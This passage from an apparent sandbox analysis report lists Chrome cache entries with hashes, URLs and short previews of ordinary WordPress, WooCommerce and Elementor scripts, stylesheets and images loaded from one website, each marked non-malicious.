File Type:	Unicode text, UTF-8 text, with very long lines (6105), with no line terminators
Category:	downloaded
Size (bytes):	6106
Entropy (8bit):	5.226221049103389
Encrypted:	false
SSDEEP:
MD5:	0E448BE285BA24B5BA6B0F434D1601B1
SHA1:	B7ED16870207288422D08A9B668398E6AA9C4C98
SHA-256:	4C70D0F37FE3EF48C754BD1F11A7D30F052393A98FC4677F719569BD58E3713C
SHA-512:	695432491DA1F9B9801A088C1F19191E8CB7DE040407314EEC3272882F3A001F065D7A74E7C4A3FF400948622CAE0EC3B2C2E63E2F5E17D6F9B21437DFBB43D7
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/html-forms/assets/js/public.js?ver=1.4.2
Preview:	(()=>{var e={176:()=>{function e(e,t){const n=!!e.getAttribute("data-show-if"),r=!!e.getAttribute("data-hide-if"),o=n?e.getAttribute("data-show-if").split(":"):e.getAttribute("data-hide-if").split(":"),a=o[0],s=(o.length>1?o[1]:"").split("\|"),i=function(e,t,n){const r=[],o=e.querySelectorAll(`input[name="${t}"], select[name="${t}"], textarea[name="${t}"], button[name="${t}"]`);return[].forEach.call(o,(o=>{const a=o.type.toLowerCase();if("radio"!==a&&"checkbox"!==a\|\|o.checked){if("button"===a\|\|"submit"===a\|\|"BUTTON"===o.tagName){if((!n\|\|n.target!==o)&&e.dataset[t]!==o.value)return;e.dataset[t]=o.value}r.push(o.value)}})),0===r.length&&r.push(""),r}(function(e){let t=e;for(;t.parentElement;)if(t=t.parentElement,"FORM"===t.tagName)return t;return null}(e),a,t);let c=!1;for(let e=0;e<i.length;e++){const t=i[e];if(c=s.indexOf(t)>-1\|\|s.indexOf("")>-1&&t.length>0,c)break}e.style.display=n?c?"":"none":c?"none":"";const l=e.querySelectorAll("input, select, textarea");[].forEach.call(l,(e=>{n&

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	738
Entropy (8bit):	7.651052547965173
Encrypted:	false
SSDEEP:
MD5:	6E014E24B0D545F1AF67C38E19E1259B
SHA1:	5C31FA78F7F7360EAEE8AE4F008276EC90EC22F4
SHA-256:	9527FD264FE1B68FCEFAF21CC2F2F8B2F8D78990FF26B3AC94A23B5EE0607F2B
SHA-512:	6D181307DE5F9D335CA86E805D1445D3AE1ECBFE2C3163471C8C4D67DBE1EFDA5728CB2EC30C07EA26668F313C167C276E1C6E2553AE8582DBCC62AEF3DB8B4A
Malicious:	false
URL:	https://www.woluntech.com/wp-content/uploads/2022/03/cropped-pneumatic-icon-32x32.png
Preview:	.PNG........IHDR... ... .....szz.....IDATX...kSA...gnn..$Z[./\|..R......Q.....W.....R,.;]h7".n+n...Am..(.d..qQJA.bF....f8\|.\|..o..UU.c.b..g....RF8.#5&.@p.l....8ZN.]4...N4..2...........U.....lg..L..........V.\6....@p....S..d.'5......$...vA.{..ms./.{O..n.lsn......V /..W..G2GE.........^...&..v1.N8:.G.#.....q.."o.\......$D..)......LN{ .L..._ ..3'.W...;.3.Amh...x...vS.......LYQ2...o.".....pvg./{..6........<....... (..t..V\H.....o.j.Bj....E9ap..*........;1..T....I ....R.S..$T:...N.?/..3.....Y.....<xeI.....\.9O.....?.3..(rh.....[.A.Q.z+9.7........y.O....w..;...yN.-....[........+....p^.p}..=).Y.l.....`..P.j1....CK......9......4..,/^7)...az&..^rIx..glY.Em...cpS...c.@7I......8.\|.96.I)..~.....G..X......IEND.B`.

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2139), with no line terminators
Category:	downloaded
Size (bytes):	2139
Entropy (8bit):	4.957392272918885
Encrypted:	false
SSDEEP:
MD5:	B72C1CBB1530A011A27BD9800F26765A
SHA1:	27B825C5D8255F33B8427A059D4545EBD65E1746
SHA-256:	A256FCCECAC3B32AB73C91D79A18747519A1A18023BE05465C933B03523A82E8
SHA-512:	63FEBB24BDB65C39ACC8D355DC5B20D3A1AD94AFC347AB2936C543D8B7A911C2F6D2C1C0146707CDB29BEA85A8F34E7FB6E76AAEE4BC0BEA212EA58835A58025
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=6.2.2
Preview:	jQuery(function(s){s(".woocommerce-ordering").on("change","select.orderby",function(){s(this).closest("form").trigger("submit")}),s("input.qty:not(.product-quantity input.qty)").each(function(){var o=parseFloat(s(this).attr("min"));0<=o&&parseFloat(s(this).val())<o&&s(this).val(o)});var e="store_notice"+(s(".woocommerce-store-notice").data("noticeId")\|\|"");"hidden"===Cookies.get(e)?s(".woocommerce-store-notice").hide():s(".woocommerce-store-notice").show(),s(".woocommerce-store-notice__dismiss-link").on("click",function(o){Cookies.set(e,"hidden",{path:"/"}),s(".woocommerce-store-notice").hide(),o.preventDefault()}),s(".woocommerce-input-wrapper span.description").length&&s(document.body).on("click",function(){s(".woocommerce-input-wrapper span.description:visible").prop("aria-hidden",!0).slideUp(250)}),s(".woocommerce-input-wrapper").on("click",function(o){o.stopPropagation()}),s(".woocommerce-input-wrapper :input").on("keydown",function(o){var e=s(this).parent().find("span.description

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18876)
Category:	downloaded
Size (bytes):	18911
Entropy (8bit):	5.194418911503605
Encrypted:	false
SSDEEP:
MD5:	42AA17E1F850A414638EE4A32A3AA807
SHA1:	2E42D03A5E042701191650C041EAE1CFB2D6C7B9
SHA-256:	0DA4791B446818516F710C51707081AEC7B23A7C5212FC0B2629C973210136A4
SHA-512:	EDB01D61CB621880F18B83C753510EE0464590C18ACE73ED713193F0C030201E3F2DADE9F599740447328C4E2A64D538C8031BA5BEFC82F600CD2F080B74F99B
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/underscore.min.js?ver=1.13.3
Preview:	/! This file is auto-generated /.!function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n\|\|self,t=n._,(e=n._=r()).noConflict=function(){return n._=t,e})}(this,function(){var n="1.13.3",r="object"==typeof self&&self.self===self&&self\|\|"object"==typeof global&&global.global===global&&global\|\|Function("return this")()\|\|{},e=Array.prototype,F=Object.prototype,V="undefined"!=typeof Symbol?Symbol.prototype:null,P=e.push,a=e.slice,s=F.toString,q=F.hasOwnProperty,t="undefined"!=typeof ArrayBuffer,u="undefined"!=typeof DataView,U=Array.isArray,W=Object.keys,z=Object.create,L=t&&ArrayBuffer.isView,$=isNaN,C=isFinite,K=!{toString:null}.propertyIsEnumerable("toString"),J=["valueOf","isPrototypeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],G=Math.pow(2,53)-1;function l(u,i){return i=null==i?u.length-1:+i,function(){for(var n=M

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	317
Entropy (8bit):	6.672663394694099
Encrypted:	false
SSDEEP:
MD5:	1211611EDFF9FD00D47C7B65543C4243
SHA1:	49913E914FBD1F0D6194A06B4B47AEDB73B86B8B
SHA-256:	F9702551EC8535A7C5BB8187220D0C327E954A2F5F840D1B7D8658FC07DEE194
SHA-512:	8B345F5DC20DDF11CAA1AA8DB5FF419A5AD9BD2B9A0BF63526D830B70EB50F9C7249F3EB056CE78BBB41EDC3967B7CF000FB78AF16F18F69AB119769124171C5
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/tr_TR.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:04:36 +0100...R....tIME......)..o#....pHYs...........~.....gAMA......a.....IDATx.....0.D..d..@..}..`...)-.G.aX...9.Gs.i........0.aJAkX..EU..O..s......<.R,K......0Q..b.q.9.L.+....6.i....#eN..].v...X...o..$.s....js......n.........IEND.B`.

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 178x183, components 3
Category:	dropped
Size (bytes):	6664
Entropy (8bit):	7.3644766405644315
Encrypted:	false
SSDEEP:
MD5:	92C97F05A311EA240F9432D22ABA7837
SHA1:	EF9D2FBB56C9821F0817DB7A8B30F2D9822AD958
SHA-256:	2E843A500125C7A216FB2C36AF0CEBEA1E0E68FEE32607216EB75F529D782E37
SHA-512:	FFD148906EFA6731EAD27E67794B700C17322C3C77FDEF7FDB87857D89E250A6346481F2686908C51A5EE23C502E70ACE6F6E8C6E3C3E55D3BA20CC04FD513D0
Malicious:	false
Preview:	......JFIF.....`.`......Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................GO TECH COMPUTERS...................................90..........90..............................................................................................................................................................................................................................................................................................2025:01:10 08:27:53.2025:01:10 08:27:53...G.O. .T.E.C.H. .C.O.M.P.U.T.E.R.S......$http://ns.adobe.com/xap/1.0/.<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>..<x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6475), with no line terminators
Category:	dropped
Size (bytes):	6475
Entropy (8bit):	5.004343301463056
Encrypted:	false
SSDEEP:
MD5:	61449413A42D2DAAA79DBE7298B40E21
SHA1:	D86C474164C603084397BDC50FB0E469D28B5772
SHA-256:	F30769EA0B80A5D900C5F0DE30B1AAD1AB461195E69223D5EF63C2C5DE8B6C1A
SHA-512:	3D3A6C00A3CE7CAD3B7131C2DCFD31D651CD5F6D66722605DEAAF44A776AE6D5A532A03C421B9550A05481CE42241F5F23055283DCDFB53E9E2592A4110F3BC2
Malicious:	false
Preview:	var runtime=function(t){"use strict";var r,e=Object.prototype,n=e.hasOwnProperty,o=(m="function"==typeof Symbol?Symbol:{}).iterator\|\|"@@iterator",i=m.asyncIterator\|\|"@@asyncIterator",a=m.toStringTag\|\|"@@toStringTag";function c(t,r,e){return Object.defineProperty(t,r,{value:e,enumerable:!0,configurable:!0,writable:!0}),t[r]}try{c({},"")}catch(e){c=function(t,r,e){return t[r]=e}}function u(t,e,n,o){var i,a,c,u;e=e&&e.prototype instanceof g?e:g,e=Object.create(e.prototype),o=new j(o\|\|[]);return e._invoke=(i=t,a=n,c=o,u=l,function(t,e){if(u===s)throw new Error("Generator is already running");if(u===p){if("throw"===t)throw e;return k()}for(c.method=t,c.arg=e;;){var n=c.delegate;if(n&&(n=function t(e,n){var o=e.iterator[n.method];if(o===r){if(n.delegate=null,"throw"===n.method){if(e.iterator.return&&(n.method="return",n.arg=r,t(e,n),"throw"===n.method))return y;n.method="throw",n.arg=new TypeError("The iterator does not provide a 'throw' method")}return y}return"throw"===(o=h(o,e.iterator,n.

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	777
Entropy (8bit):	4.683346533378822
Encrypted:	false
SSDEEP:
MD5:	AB55C224299EA8F0FE7BF738772CC650
SHA1:	CE2274025A51BFDAEFB4C2EBC65EBF5085103F38
SHA-256:	B10AE8FE4C3D47D2975EC636E69F46B3240F0870A8B282C9585360C17E537002
SHA-512:	3ACB17811E7799A98606FD346BD892956E83392E3FB3FB36EF36E87FE5518E3C80562E2CE46D41235CFECFBC11BD235092CC7C328F7E5F7E5A5E119E3E0372D0
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/js/trp-frontend-compatibility.js?ver=2.8.7
Preview:	document.addEventListener("DOMContentLoaded", function(event) {. function trpClearWooCartFragments(){.. // clear WooCommerce cart fragments when switching language. var trp_language_switcher_urls = document.querySelectorAll(".trp-language-switcher-container a:not(.trp-ls-disabled-language)");.. for (i = 0; i < trp_language_switcher_urls.length; i++) {. trp_language_switcher_urls[i].addEventListener("click", function(){. if ( typeof wc_cart_fragments_params !== 'undefined' && typeof wc_cart_fragments_params.fragment_name !== 'undefined' ) {. window.sessionStorage.removeItem(wc_cart_fragments_params.fragment_name);. }. });. }. }.. trpClearWooCartFragments();.});.

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2938), with no line terminators
Category:	dropped
Size (bytes):	2938
Entropy (8bit):	4.989368196764261
Encrypted:	false
SSDEEP:
MD5:	0FD625C3991A4015814CFFDC88E2FC82
SHA1:	D7C2F53E058210FF3EA773297641008BAB71A5F3
SHA-256:	2D022DB650D194D935FAEA46A40E5512235B43BC3F8B181E32CE6D3DD745F4E1
SHA-512:	B936B4E596739DE1FA708A9F439167D4C2E670228A88A803363AA65F061B29DD9F52FDCD5AAB1C1DCBBC634A779E54F767640B2BAF30025130B5EA4FC6169631
Malicious:	false
Preview:	jQuery(function(r){if("undefined"==typeof wc_cart_fragments_params)return!1;var t=!0,o=wc_cart_fragments_params.cart_hash_key;try{t="sessionStorage"in window&&null!==window.sessionStorage,window.sessionStorage.setItem("wc","test"),window.sessionStorage.removeItem("wc"),window.localStorage.setItem("wc","test"),window.localStorage.removeItem("wc")}catch(f){t=!1}function a(){t&&sessionStorage.setItem("wc_cart_created",(new Date).getTime())}function s(e){t&&(localStorage.setItem(o,e),sessionStorage.setItem(o,e))}var e={url:wc_cart_fragments_params.wc_ajax_url.toString().replace("%%endpoint%%","get_refreshed_fragments"),type:"POST",data:{time:(new Date).getTime()},timeout:wc_cart_fragments_params.request_timeout,success:function(e){e&&e.fragments&&(r.each(e.fragments,function(e,t){r(e).replaceWith(t)}),t&&(sessionStorage.setItem(wc_cart_fragments_params.fragment_name,JSON.stringify(e.fragments)),s(e.cart_hash),e.cart_hash&&a()),r(document.body).trigger("wc_fragments_refreshed"))},error:func

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3042
Entropy (8bit):	4.832360479050999
Encrypted:	false
SSDEEP:
MD5:	5ABA4E527E5DA26AB11F50C71A7A5832
SHA1:	D22A77D1D42258C6733EE4FDB6965ED8C2CD6BCC
SHA-256:	7A9926A1F9465929D69358428CF3F7756BB529D2E710E1D6F288B3775D2D08F2
SHA-512:	3E62F673879C1C92ED103CCBA214B0FAC1FFE2DD88C24E616531BDA01FC834690D434942F9B1698E261DE7F7928873D3488D2CDA98575793F9940167CA7F6DE7
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/css/trp-language-switcher.css?ver=2.8.7
Preview:	/. Menu Language Switcher. /...menu-item-object-language_switcher .trp-flag-image {. display: inline-block;. margin: -1px 5px;. vertical-align: baseline;. padding: 0;. border: 0;. border-radius:0;.}../. * Shortcode Language Switcher. */..trp-language-switcher{. height: 42px;. position: relative;. box-sizing: border-box;. width: 200px;. text-overflow: ellipsis;. white-space: nowrap;.}....trp-language-switcher > div {. box-sizing: border-box;. padding:4px 20px 3px 13px;. border: 1.5px solid #949494;. border-radius: 2px;. background-image: url(../../assets/images/arrow-down-3101.svg);. background-repeat: no-repeat;.. background-position:. calc(100% - 20px) calc(1em + 2px),. calc(100% - 3px) calc(1em + 0px);.. background-size:. 8px 8px,. 8px 8px;.. background-repeat: no-repeat;.. background-color: #fff;.}...trp-language-switcher > div:hover {. background-image: none;.}...

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24339)
Category:	downloaded
Size (bytes):	24382
Entropy (8bit):	5.189685977833812
Encrypted:	false
SSDEEP:
MD5:	FF5BBF00D7B5473A5FD1C1E31DFBD84E
SHA1:	A6CBD8A5C28FA9BCAE91E226703EB9772975A083
SHA-256:	C1F2C9125F50003E6BB8B4F64A762F326ECD3F7900211B8F8D62FE9471DACE97
SHA-512:	1DE1103436CEAF71C155D3999E1AA819A2333720DECCD08DA553F713667E8CC7AF58A25F101DF8B3515741C741F7CCEDD260ACEA4E843EFC59CC72F79029C787
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.7.3
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /."use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[437],{7996:(e,t,n)=>{var o=n(3203),s=o(n(4042)),r=o(n(8528)),l=o(n(7857)),a=o(n(3184)),d=o(n(7043)),i=o(n(4223)),u=o(n(4231)),c=o(n(2741)),m=o(n(3513)),h=o(n(3002)),f=o(n(8650)),g=o(n(6701)),_=o(n(102)),p=o(n(1748)),v=o(n(5438)),b=o(n(2439)),M=o(n(5032));const extendDefaultHandlers=e=>({...e,...{animatedText:s.default,carousel:r.default,countdown:l.default,hotspot:a.default,form:d.default,gallery:i.default,lottie:u.default,nav_menu:c.default,popup:m.default,posts:h.default,share_buttons:f.default,slides:g.default,social:_.default,themeBuilder:v.default,themeElements:b.default,woocommerce:M.default,tableOfContents:p.default}});elementorProFrontend.on("elementor-pro/modules/init:before",(()=>{elementorFrontend.hooks.addFilter("elementor-pro/frontend/handlers",extendDefaultHandlers)}))},8115:(e,t,n)=>{var o=n(3203);Object.defineProperty(t,"__esModule",{value:!

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9139)
Category:	dropped
Size (bytes):	9533
Entropy (8bit):	5.393453483611794
Encrypted:	false
SSDEEP:
MD5:	87C54EDF7DAD7DFDFDE015F6EEE45FF1
SHA1:	96EC1A06EA3093C47E1E2FC4444ADA7F4456135D
SHA-256:	EF22199864042B8CEEEE3729F3254C140DF7217364045737CA3AADF8434FB3DA
SHA-512:	5C3565BB7C80CBEBEFFD3A0A413DF03FB264EF2D2B2F7CAEAAA29B828081F6DB95EF6FE5C1D64A988D5885DEA699A7E9D112393A745A445990008A99CCD5DE9F
Malicious:	false
Preview:	/!. jQuery blockUI plugin. * Version 2.70.0-2014.11.23. * Requires jQuery v1.7 or later. . Examples at: http://malsup.com/jquery/block/. * Copyright (c) 2007-2013 M. Alsup. * Dual licensed under the MIT and GPL licenses:. * http://www.opensource.org/licenses/mit-license.php. * http://www.gnu.org/licenses/gpl.html. . Thanks to Amir-Hossein Sobhi for some excellent contributions!. */.!function(){"use strict";function e(p){p.fn._fadeIn=p.fn.fadeIn;var b=p.noop\|\|function(){},h=/MSIE/.test(navigator.userAgent),k=/MSIE 6.0/.test(navigator.userAgent)&&!/MSIE 8.0/.test(navigator.userAgent),y=(document.documentMode,"function"==typeof document.createElement("div").style.setExpression&&document.createElement("div").style.setExpression);p.blockUI=function(e){o(window,e)},p.unblockUI=function(e){v(window,e)},p.growlUI=function(e,t,o,n){var i=p('<div class="growlUI"></div>');e&&i.append("<h1>"+e+"</h1>"),t&&i.append("<h2>"+t+"</h2>"),o===undefined&&(o=3e3);var s=function(e){p.blockUI({messa

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	241
Entropy (8bit):	6.185400686971227
Encrypted:	false
SSDEEP:
MD5:	3E4733A9ECB758D58EEC825CC227FEE2
SHA1:	DED9F036F70FBB4253F8B3A08ADAB51DE76E84FD
SHA-256:	BC78F50B6E27078E91FE318C8EBDC52BAC6CABBE5C298F471BC60292E126E1A5
SHA-512:	E0656DE4D204B826E186A4B8F86EEAADC7DD7ADAE86AB11CC43ED270EBAD29B7D019A8752D6638707545F3A7556BC1B23116897475FBF8BA712684EDEB175D79
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 16:40:32 +0100%.%<....tIME.....-)*i.J....pHYs...........~.....gAMA......a....IIDATx.c...?...=@..........}.............1..ko..^.a..0bA6.H=Pm.a."........`........IEND.B`.

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	10222
Entropy (8bit):	5.290687913849328
Encrypted:	false
SSDEEP:
MD5:	F270DD1F483179FDCFB29CE5F91AEA13
SHA1:	166661187A97F0B6B685EC4DBDFF871E9824168F
SHA-256:	1DC4B29DD0ACBED77EC2FD81036C33EFD4AB5989E8182705A30615A00A0117F7
SHA-512:	3B85F6D0A52157B81C97628ABC54CD79A83FB5D1CCDDE3AE2DA3AF18ACFB1E572CAA1BB6E304693AF8DEFF3C36C01C3B5A54070858B74DEBC40DC1D8EAFCD25B
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/dist/i18n.min.js?ver=ebee46757c6a411e38fd079a7ac71d94
Preview:	/! This file is auto-generated /.!function(){var t={9756:function(t){t.exports=function(t,n){var e,r,i=0;function o(){var o,a,s=e,u=arguments.length;t:for(;s;){if(s.args.length===arguments.length){for(a=0;a<u;a++)if(s.args[a]!==arguments[a]){s=s.next;continue t}return s!==e&&(s===r&&(r=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=e,s.prev=null,e.prev=s,e=s),s.val}s=s.next}for(o=new Array(u),a=0;a<u;a++)o[a]=arguments[a];return s={args:o,val:t.apply(null,o)},e?(e.prev=s,s.next=e):r=s,i===n.maxSize?(r=r.prev).next=null:i++,e=s,s.val}return n=n\|\|{},o.clear=function(){e=null,r=null,i=0},o}},124:function(t,n,e){var r;!function(){"use strict";var i={not_string:/[^s]/,not_bool:/[^t]/,not_type:/[^T]/,not_primitive:/[^v]/,number:/[diefg]/,numeric_arg:/[bcdiefguxX]/,json:/[j]/,not_json:/[^j]/,text:/^[^\x25]+/,modulo:/^\x25{2}/,placeholder:/^\x25(?:([1-9]\d)\$\|$([^)]+)$)?(\+)?(0\|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-gijostTuvxX])/,key:/^([a-z_][a-z_\d])/i,key_access:/^\.([a-z_]

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12198), with no line terminators
Category:	downloaded
Size (bytes):	12198
Entropy (8bit):	5.031745242580206
Encrypted:	false
SSDEEP:
MD5:	3819C3569DA71DAEC283A75483735F7E
SHA1:	ECD40A5CC6F0B76200C454CA880210DC301CFAB8
SHA-256:	214674CC77ABA35AB3567B88E2739FD08E8E96C61D279559AD61874069683EA0
SHA-512:	2710655DFF46653DAEB3A6E3F6D36F885E51D5B375738EE353ACA40C6F66AE1A7DECE57039D58747012ED9EA2822191143C06F270123B8CC580F6A41B8E8AEF4
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2
Preview:	!function(){"use strict";function Waypoint(options){if(!options)throw new Error("No options passed to Waypoint constructor");if(!options.element)throw new Error("No element option passed to Waypoint constructor");if(!options.handler)throw new Error("No handler option passed to Waypoint constructor");this.key="waypoint-"+keyCounter,this.options=Waypoint.Adapter.extend({},Waypoint.defaults,options),this.element=this.options.element,this.adapter=new Waypoint.Adapter(this.element),this.callback=options.handler,this.axis=this.options.horizontal?"horizontal":"vertical",this.enabled=this.options.enabled,this.triggerPoint=null,this.group=Waypoint.Group.findOrCreate({name:this.options.group,axis:this.axis}),this.context=Waypoint.Context.findOrCreateByElement(this.options.context),Waypoint.offsetAliases[this.options.offset]&&(this.options.offset=Waypoint.offsetAliases[this.options.offset]),this.group.add(this),this.context.add(this),allWaypoints[this.key]=this,keyCounter+=1}var keyCounter=0,allW

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	242
Entropy (8bit):	6.198406228926171
Encrypted:	false
SSDEEP:
MD5:	7AF57D8F8C382CB8325E555CE7B8B6D1
SHA1:	0D9D4744D40A0D055AB4DFADA6600F02AE81F7AC
SHA-256:	1287E60EB1886BD0A803A80C9B158A7A9F43E56C1670222133CE8FA5FB3BDDFF
SHA-512:	662E84D02365A3F63AB4E8C6F4B04CE7AF55613DBEADC6F38856ABF51A978CA129C62CFF6232651E17B377748ABEDA9CB1A07DD19842F476674AC9570564ED18
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/id_ID.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.do 29 dec 2005 02:33:52 +0100.JBc....tIME.....'..p......pHYs...........~.....gAMA......a....JIDATx..............a..J.g.Ao=.,].0....:..c...$p..Vi.........n7.Gs..].....o,..%F....IEND.B`.

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	474
Entropy (8bit):	7.121701098125146
Encrypted:	false
SSDEEP:
MD5:	3285CF9AB85D3C7763AE76DBE359F0E9
SHA1:	587F4E8A907116CFF37520D3A1938DD7AE5974E0
SHA-256:	80ACE833A4140BBE88C886643A1ADB101ED85DAA362F67E1AAADD2D264BADC94
SHA-512:	E042133ADC901B913E9ADA89D3026C6880997046C3D954F43B38714E27A4DDE2FD447CE0145B6885E74E0795881151153956392491487679D25FC6EE9DFD99B3
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 16:41:51 +0100=.].....tIME......0e/.I....pHYs...........~.....gAMA......a....2IDATx.cd.......$....H..j .E...P..2...%.z.:..10.s.;(;...?}.....\l\&r.............._.}.8..n..?........8..e.,.,....~y......#.N.^N..b$m...p..5.g....*-(...~........]~z.._p.,.G32....H~..Q.Ol.....>\|.........z....m@{.<:..)....[.o..Y.Y......_.paa@..l....L..p..a.a...w..{..e....$.<..8.(@!...i.x.....?....c....%t.....IEND.B`.

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10544)
Category:	downloaded
Size (bytes):	10682
Entropy (8bit):	5.103165363656437
Encrypted:	false
SSDEEP:
MD5:	4EEE50AC6F4F364BA3A284D0753DDAE3
SHA1:	A8E7E824E6824AE0B370FF36E2C07CA07276FAE0
SHA-256:	B936DB5880AA9B6B2F26A8D32FC2B689FB75F69D971B94194F16DBA801221FFE
SHA-512:	AD7154338F51A1FD2745D1321412F1D418B76CD99F8B439E5ECBD8CDAA7AC09355EE30D4F26044988ACD739BA8B059CA91316798CB0E9B6432D86F006AD49B02
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.9.0
Preview:	/! dialogs-manager v4.9.0 \| (c) Kobi Zaltzberg \| https://github.com/kobizz/dialogs-manager/blob/master/LICENSE.txt. 2021-08-15 18:13 /.!function(p,t){"use strict";var y={widgetsTypes:{},createWidgetType:function(t,e,n){n=n\|\|this.Widget;function i(){n.apply(this,arguments)}var o=i.prototype=new n(t);return o.types=o.types.concat([t]),p.extend(o,e),(o.constructor=i).extend=function(t,e){return y.createWidgetType(t,e,i)},i},addWidgetType:function(t,e,n){return e&&e.prototype instanceof this.Widget?this.widgetsTypes[t]=e:this.widgetsTypes[t]=this.createWidgetType(t,e,n)},getWidgetType:function(t){return this.widgetsTypes[t]}};y.Instance=function(){var n=this,e={},i={};this.createWidget=function(t,e){t=new(y.getWidgetType(t))(t);return t.init(n,e=e\|\|{}),t},this.getSettings=function(t){return t?i[t]:Object.create(i)},this.init=function(t){return p.extend(i,{classPrefix:"dialog",effects:{show:"fadeIn",hide:"fadeOut"}},t),e.body=p("body"),n},n.init()},y.Widget=function(n){function e(t,e){var

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3262), with no line terminators
Category:	downloaded
Size (bytes):	3262
Entropy (8bit):	4.737079534110249
Encrypted:	false
SSDEEP:
MD5:	48DD1895617A13D9FCC2911D816F106F
SHA1:	F647DC79E83A92562B47DD95F70962EE821EB186
SHA-256:	19B8B82E6447F027B392B537583ED86E8AB293216E42D4F9F2D41592D856F0A2
SHA-512:	E0A369E9045E4BC3ACB57602606B599C4A7168F83E6849E6277DCF407CC2AC5AAD207E9995119AD97CAA00950351A6DC55F2F523498BB7D5E32994AFB8A4B853
Malicious:	false
URL:	https://www.woluntech.com/wp-content/uploads/elementor/css/post-5327.css?ver=1736509366
Preview:	.elementor-5327 .elementor-element.elementor-element-59aeab3f.elementor-section{padding:80px 80px 80px 80px;}.elementor-5327 .elementor-element.elementor-element-275197e0 .elementor-field-group{padding-right:calc( 10px/2 );padding-left:calc( 10px/2 );margin-bottom:10px;}.elementor-5327 .elementor-element.elementor-element-275197e0 .elementor-form-fields-wrapper{margin-left:calc( -10px/2 );margin-right:calc( -10px/2 );margin-bottom:-10px;}.elementor-5327 .elementor-element.elementor-element-275197e0 .elementor-field-group.recaptcha_v3-bottomleft, .elementor-5327 .elementor-element.elementor-element-275197e0 .elementor-field-group.recaptcha_v3-bottomright{margin-bottom:0;}body.rtl .elementor-5327 .elementor-element.elementor-element-275197e0 .elementor-labels-inline .elementor-field-group > label{padding-left:0px;}body:not(.rtl) .elementor-5327 